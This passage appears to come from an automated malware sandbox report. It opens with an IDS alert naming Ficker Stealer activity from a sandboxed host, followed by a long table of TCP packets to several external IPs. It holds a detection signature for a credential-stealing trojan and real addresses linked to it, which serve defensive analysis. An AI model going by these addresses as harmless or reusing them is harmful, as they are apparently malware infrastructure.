07/09/21-03:07:46.764728	TCP	2031132	ET TROJAN Win32/Ficker Stealer Activity M3	49178	80	192.168.2.22	95.213.179.67

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 9, 2021 03:07:35.667702913 CEST	49165	80	192.168.2.22	50.19.92.227
Jul 9, 2021 03:07:35.768351078 CEST	80	49165	50.19.92.227	192.168.2.22
Jul 9, 2021 03:07:35.768608093 CEST	49165	80	192.168.2.22	50.19.92.227
Jul 9, 2021 03:07:35.791934967 CEST	49165	80	192.168.2.22	50.19.92.227
Jul 9, 2021 03:07:35.892631054 CEST	80	49165	50.19.92.227	192.168.2.22
Jul 9, 2021 03:07:41.760555983 CEST	49165	80	192.168.2.22	50.19.92.227
Jul 9, 2021 03:07:42.207412004 CEST	49166	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:42.260952950 CEST	80	49166	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:42.261214972 CEST	49166	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:42.262625933 CEST	49166	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:42.315808058 CEST	80	49166	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:42.331255913 CEST	80	49166	77.222.42.67	192.168.2.22
Jul 9, 2021 03:07:42.331413984 CEST	49166	80	192.168.2.22	77.222.42.67
Jul 9, 2021 03:07:42.645384073 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.681991100 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.682125092 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.683511972 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.719840050 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.873905897 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.873929977 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.873940945 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.873954058 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.873965025 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.873975992 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.874003887 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.874016047 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.874027014 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.874042034 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.874120951 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.874665976 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.874681950 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.910140038 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.910195112 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.910222054 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.910248041 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.910274982 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.910295963 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.910322905 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.910350084 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.910376072 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.910404921 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.910432100 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.910464048 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.910471916 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.910494089 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.910515070 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.910517931 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.910528898 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.910537004 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.910542011 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.910543919 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.910568953 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.910582066 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.910604954 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.910605907 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.910629988 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.910634995 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.910660982 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.910665989 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.910687923 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.910713911 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.910731077 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.910739899 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.911206007 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.946764946 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.946821928 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.946861029 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.946901083 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.946948051 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.946990013 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.947006941 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.947029114 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.947046995 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.947056055 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.947068930 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.947088957 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.947108030 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.947161913 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.947170973 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.947217941 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.947249889 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.947261095 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.947278976 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.947297096 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.947298050 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.947335958 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.947338104 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.947360992 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.947374105 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.947411060 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.947448969 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.947453022 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.947487116 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.947489023 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.947494030 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.947535992 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.947546959 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.947580099 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.947587013 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.947598934 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.947618008 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.947655916 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.947674036 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.947685957 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.947695971 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.947732925 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.947747946 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.947772026 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.947786093 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.947809935 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.947815895 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.947833061 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.947856903 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.947880983 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.947899103 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.947937012 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.947942019 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.947974920 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.947981119 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.947997093 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.948014021 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.948050022 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.948064089 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.948090076 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.948103905 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.948143959 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.948191881 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.948236942 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.948272943 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.948338032 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.948405981 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.948486090 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.948549032 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.948573112 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.948611021 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.948616028 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.948649883 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.948662996 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.948688984 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.948698044 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.948740005 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.948748112 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.949007988 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.984381914 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.984446049 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.984479904 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.984510899 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.984550953 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.984589100 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.984627008 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.984664917 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.984702110 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.984734058 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.984739065 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.984764099 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.984770060 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.984775066 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.984776974 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.984791994 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.984824896 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.984843016 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.984867096 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.984894991 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.984904051 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.984926939 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.984955072 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.985197067 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.985479116 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.985523939 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.985560894 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.985590935 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.985609055 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.985639095 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.985651016 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.985676050 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.985688925 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.985691071 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.985714912 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.985728979 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.985749006 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.985768080 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.985800982 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.985804081 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.985831022 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.985843897 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:42.985886097 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.985902071 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:42.986068010 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.025069952 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.025232077 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.025276899 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.025319099 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.025367022 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.025408983 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.025445938 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.025465012 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.025485039 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.025487900 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.025491953 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.025496006 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.025509119 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.025522947 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.025542974 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.025559902 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.025593996 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.025609970 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.025667906 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.025707960 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.025733948 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.025779963 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.025808096 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.025904894 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.025908947 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.025948048 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.025979996 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.025985003 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.026011944 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.026022911 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.026062012 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.026103020 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.026146889 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.026149035 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.026161909 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.026166916 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.026170969 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.026192904 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.026247025 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.026247978 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.026278019 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.026298046 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.026310921 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.026316881 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.026350021 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.026364088 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.026371956 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.026406050 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.026443005 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.026443005 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.026459932 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.026482105 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.026511908 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.026541948 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.026571035 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.026617050 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.026658058 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.026662111 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.026674986 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.026695967 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.026732922 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.026734114 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.026752949 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.026772976 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.026806116 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.026808977 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.026823044 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.026854038 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.026896000 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.026968956 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.026977062 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.027054071 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.027247906 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.027353048 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.027362108 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.027432919 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.027503967 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.027570963 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.027575970 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.027647972 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.027694941 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.027734995 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.027755022 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.027868986 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.027887106 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.027936935 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.027981997 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.028032064 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.028059006 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.028072119 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.028110981 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.028134108 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.028147936 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.028153896 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.064713001 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.064874887 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.065006971 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.065069914 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.065165997 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.065227985 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.066436052 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.066529036 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.075813055 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.075843096 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.075867891 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.075887918 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.075891972 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.075912952 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.075917959 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.075927973 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.075938940 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.075948000 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.075968027 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.076006889 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.076011896 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.076036930 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.076072931 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.076077938 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.076102018 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.076112986 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.076133013 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.076134920 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.076155901 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.076179028 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.076180935 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.076229095 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.076267958 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.076292038 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.076320887 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.076323032 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.076344967 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.076349974 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.076387882 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.076409101 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.076442003 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.076462030 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.076508045 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.076534033 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.076558113 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.076571941 CEST	49167	80	192.168.2.22	8.211.241.0
Jul 9, 2021 03:07:43.076581955 CEST	80	49167	8.211.241.0	192.168.2.22
Jul 9, 2021 03:07:43.076594114 CEST	49167	80	192.168.2.22	8.211.241.0
